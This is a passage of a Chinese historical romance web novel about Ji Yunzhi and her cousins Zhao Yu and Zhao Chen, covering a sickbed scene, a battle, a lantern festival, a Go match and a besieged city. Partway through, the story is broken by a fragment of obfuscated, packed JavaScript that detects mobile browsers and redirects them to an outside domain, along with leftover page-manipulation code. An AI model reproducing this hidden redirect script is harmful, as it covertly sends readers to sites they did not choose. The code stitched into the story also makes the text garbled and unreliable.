季纭知在佛堂里陪了赵驭一整晚的代价就是——第二天成功染了风寒。
卯时刚至,少年就逆着破晓、抱着少女急急忙忙地跑出佛堂,直奔慈宁宫。
太后用手摸了摸纭知滚烫的小脸,又为她掖了掖被子,转头看向一旁一脸担忧的少年,“行了,你回宫休息去吧!等烧退了,你妹妹就会醒了。”
赵驭摇了摇头,不发一语,手中帕子浸了清水,亲手替纭知换下额上已温热的凉帕。
“赵驭!赵驭!”
纭知急切的梦呓传入耳中,赵驭低头看着少女紧皱的眉,伸手轻轻抚平,“我在。”
“哟!驭儿!你到底干了什么好事?让纭知做梦都还对你咬牙切齿的!”太后在一旁笑嘻嘻地调侃着。
“那你就留下来好好照顾纭知吧。”
赵驭看着眼前恬静的小姑娘无奈地笑了笑,正抓起她刚刚挣出的手、想重新塞回锦被,却不想下一秒就被这只温软的小手紧紧抓住。
……
灰白的天上飘下了纷扬的雪,但一旁的洮河未曾结冰,仍在淘淘地奔腾着。
十余名晋军骑兵自北狄军的包剿中突围而出,马蹄踏破冰雪,沿着河岸策马狂奔,身后是穷追不舍的北狄骑兵,嘶喊声震天。
“赵驭!赵驭!”
“本王没聋!”
“这次行军泄露,营里定是出了奸细!”季纭知骑着一匹骏健的白马与骑着纯黑骏马的赵驭并驾齐驱,“我怀疑那人,并非北狄细作这么简单。”
“心中有人选了?”
“嗯。”
“那一回营,本王就把他拎出来,千刀万剐!”
虽然形势危急,但这两个初生牛犊不怕虎的主儿还是在马上你一言、我一语。
却不料,追兵越来越近,季纭知听着后面传来粗暴的嘶吼声、抬手举鞭欲挥。
“活捉赵驭和军师!”身后的北狄人一边大喊着,一边不等季纭知挥下马鞭就向纭知的白马连射三箭。
纭知只觉座下一阵颤抖、马膝就要跪倒在地。。
电光火石间,她的胳膊被赵驭紧紧抓住,顺势又被拦腰抱起、跨坐在赵驭黑色的高头大马上,身子紧贴着赵驭的胸膛,隔着冰冷的铁甲还能清晰地听见他强有力的心跳声。
“坐好了!本王一定带你平安无事地回营!”
赵驭沙哑的声音穿过呼啸的风声传入耳中,然后季纭知就感到身下的马加快了奔跑的速度。
不知过了多久,耳边北狄人的喊叫声和兵械交斗的声音渐渐远去,马也放慢了行进的速度,纭知从赵驭的胸口抬起头,欣喜道:“赵驭……”
纭知的话在看到赵驭惨白的脸时戛然而止,少年看着少女担忧的神情、正想扯出一个笑容时,下一秒就眼前一黑、昏倒坠马、掉入一旁奔流的洮河。
纭知看着水中的赵驭背后扎着断箭,心下一惊、没有思考,便纵身跳进了河里。虽然这段流域并不湍急,但冰冷的河水不停刺激着纭知的心脏。
她疯狂地向下游去,然后伸手紧紧握住赵驭宽厚的手……
……
天际最后一缕阳光擦过太和殿的飞檐,落入慈宁宫的偏殿。
纭知皱了皱眉,然后睁开了眼,少年倚着床柱小憩的样子映入眼底。她深吸了一口气,不自觉地紧了紧那只握着少年的手。
“终于醒了啊……”少年突然悠悠睁开深邃的眼,声音有些沙哑,惊得纭知连忙松开了他的手。
“小没良心的,用完就丢掉。”赵驭伸手摸了摸纭知不再发烫的额头,“知不知道本王的手都被你抓麻了?”
“还不是因为你掉河里了……”还没睡醒的纭知神志不清地嘟囔着。
“河里?你是真的做梦做傻了?”赵驭笑着捏了捏纭知的脸颊,“小迷糊。”
“郡主,该喝药了。”内侍的宫女端来一碗散发着苦味的深褐色药汤。
看着药汤飘散出的丝丝白气,季纭知眼神微微一凝,不由得想起了上辈子在狄都当药罐子的那三年。
然而还没等她回过神来,以为她不想喝药的赵驭就已经端起药碗、作势要往她嘴边送,还故作严肃:“季纭知,你给本王好好喝药,别想着蒙混过去。”
赵驭说着就对上少女清明莹润的双眸,一愣、不禁又放柔了语气:“乖,喝完药,表哥就答应你一个要求。”
话音刚落,赵驭就看着她面不改色地就着自己的手、一口气喝完了一整碗苦涩的汤药。
赵驭惊讶地扯了扯嘴角,“表妹……你也不用这么拼吧……”
“反正你要说话算数。”
“当然。”赵驭把手中的空碗递给一旁的宫女,又用手背擦掉纭知嘴角的药渍。
季纭知一愣,转过头轻咳了一声,看着一旁太后派来的宫女,就嘴角含笑地凑到赵驭的耳边,轻轻地说,“表哥,花朝节晚上我想溜出去看灯会。”
周遭苦涩的药味还未散去,但少女身上特有的清香好像盖住了这片苦味,吸入喉间还隐隐回甘,惹得赵驭觉得自己耳尖一片滚烫。
“好。”
……
仲春十五日为花朝节,大晋风俗以为春序正中、百花齐放之时,宜轻折桃花,更堪有情人倾诉衷肠。
纭知跟着经常溜出宫的赵驭,坐着一辆已经偷偷打点好的马车,从后门顺利地出了宫。
兴许是第一次和赵驭同流合污,纭知一路上也没有和赵驭拌嘴,只是安静地跟着他,这倒是激起了赵驭的责任感、很靠谱地带纭知走进了朱雀街。
节日里的朱雀街灯火通明、人来人往,两旁的小贩都提着嗓子叫卖着,竹竿架起的花灯流光溢彩,街头巷尾皆是欢声笑语。
纭知立在街头,看着久违的繁华景象,一瞬间微微失神。
“人多,跟紧我。”身着黑金锦袍的赵驭紧紧牵着扮成清秀公子、穿着月白色锦袍的季纭知。
手心传来灼热的温度,惹得纭知心脏狂跳,她连忙拍掉赵驭的手,小声地说:“别人都看着呢!不知道的,还以为我们是断袖呢!”
赵驭轻笑两声,然后把手搭在纭知的肩膀上,揽着她往前走,“那这样行了吧!表——弟!”
清冽的雪松香和着温热的气息扑在纭知白皙的脖颈上,她直觉得心脏跳得更快了。
“表弟,你怎么脸红了?”赵驭带着笑意的声音又传入耳中。
季纭知恼得从一旁的小摊上拿起一个丑陋的昆仑奴面具、直接扣在了赵驭的脸上,“您可闭嘴吧!”
然后她又拿起一副一模一样的面具戴上、遮住了那张雌雄莫辨的清丽脸庞。
一旁的赵驭不知为何,看着纭知那副一样的昆仑奴面具,不由得微微牵起嘴角,满意地扔给了小贩一锭银子,就揽着她顺着人潮前去。
花朝节这天,许多店家都摆出各种各样的擂台,让情郎们在心爱的姑娘面前大显身手、赢得好彩头。
在路过京城最大的棋院——应天棋院时,季纭知忍不住放慢了脚步。
擂台周围站满了人,看着台上那个孤零零坐着喝茶的青衣公子议论着。
“台上那个戴着白银面具的公子已经连赢了九局,刚刚还赢了棋院的大师兄!”
“这公子看起来还很年轻!可真是个高手啊!”
“而且今天已经开了十四局了,他只要守到第十五局,就能赢得去年御赐的白玉扳指了!”
“可现在,还有人敢上去吗?”
季纭知微微扬眉,看着擂台上那道清冷孤傲的身影,竟莫名觉得有些熟悉。她捏了捏手指,心里隐隐发痒。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414351|184681||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“表哥,我上去给你赢个新的玉扳指!”她激动地用手肘捅了捅一旁的赵驭,不等他回应就走上了擂台。
赵驭看着她的背影无奈失笑,不自觉地摩挲了一下指上成色尚新的扳指。
待纭知行礼入座的时候,周遭瞬间安静,大家的目光都聚集在这个戴着丑陋面具的瘦弱公子身上、都想知道他到底是胸有成竹还是不自量力。
纭知对这些复杂的目光倒是不甚在意,而是忍不住偷偷打量了一下对面的青衣公子——白银的云纹面具遮住了他所有的情绪,他没有抬眼打量对面看起来更加年轻的对手,只是盯着面前的棋盘干脆地落下一子。
季纭知见状也收回了目光,集中精力开始了对弈。
半炷香悠悠燃尽,擂台下的众人竟无人离去,反而屏息凝神,盯着这场高手对弈,生怕错过任何一步妙手。
青衣公子的棋风宽厚隐忍,不急不缓地铺陈局势,看似毫无杀伐之意,实则在无形间织就囚笼,温吞地吞噬对手的活路。而纭知的棋风则有些变化莫测,落子如行云流水,每一步皆随局势流转,或攻或守皆游刃有余,让人难以捉摸。
季纭知看着眼前熟悉的棋路,又忍不住抬眼看去——儒雅的气质、面具下线条温和的白净下颌,她只觉得眼前的人像极了一位故人。
……
锦舟城从天空俯瞰下来就像是一只旱地里的巨船、载满生机,是大晋北部最繁荣的郡城。
但这塞上江南之中,如今已是一片萧瑟肃穆,因为这已经被北狄的军队包围了半月,通讯和物资的运输都被截断,但一队僧人在两军对峙间悄然入城。
“张掖、肃阳的防线不可能这么弱!”
锦舟城都尉不停地来回踱步,“已经十五日了!城内物资充沛,倒是无碍!但是王爷前线那边怎么办?安邺的补给,撑不了多久了!”
季纭知不紧不慢为嘴角都燎出泡的都尉斟了一杯茶,“朝廷那边不干净,丹掖和肃阳恐怕有人里应外合,军情也应该是泄露了,而现在千方百计打听来的情报多半也是假的。”
都尉看着一旁还在悠哉喝茶的郡主,心中更加着急了,“那关键是现在该怎么办啊?”
“去加强辎重部队的武装,直接从城中多抽调三百精兵,锦舟和安邺一样都是易守难攻,现在北狄人是不敢直接进攻的,两日后带着辎重直接突围。”
“这……外面的军情我们都不清楚,这突围不就是两眼一抹黑嘛!”都尉猛地灌下一口已经凉了的茶水,却感觉更加唇焦口燥了。
“郡主,奉壹法师到了。”房外的侍女叩门通报。
“这不,情报来了。”
一位带着长纱斗笠、穿着布袍的男子缓步走了进来。季纭知清退了左右,男子摘下了斗笠,墨色的长发用素色的锦带松松地绑着,眼角的泪痣衬得他面容清秀昳丽。
“怀言,辛苦了。”
季纭知默默为他递上一杯温热的清茶,看着他在棋盘上铺开战局,然后戏谑道,“要是京城的人知道贤王世子为赴棋局,不惜装成僧人跋山涉水,会作何想?”
“你应知道,与你对弈,又何止是下棋?”赵忱未接话,只是执子落下,轻描淡写地应道。
一句话,似棋落云水,温柔得不容拒绝。
纭知突然想起离京前和赵忱下的最后一盘棋,以棋说情,她懂,可她不愿懂。
两人之间霎时一片寂静,似有风吹乱思绪,案上的黑白棋子沉默地厮杀对峙。
良久,纭知垂下眸,轻轻吐出两个字:“抱歉。”
只一瞬,赵忱就敛住了眸子里所有的情感,恢复了那副淡漠疏离的模样,“不必多言,我懂。”
朔风蹿进屋内,吹乱了两人的思绪,却吹不乱案上的棋局,黑子的包围之下,白子已然破局。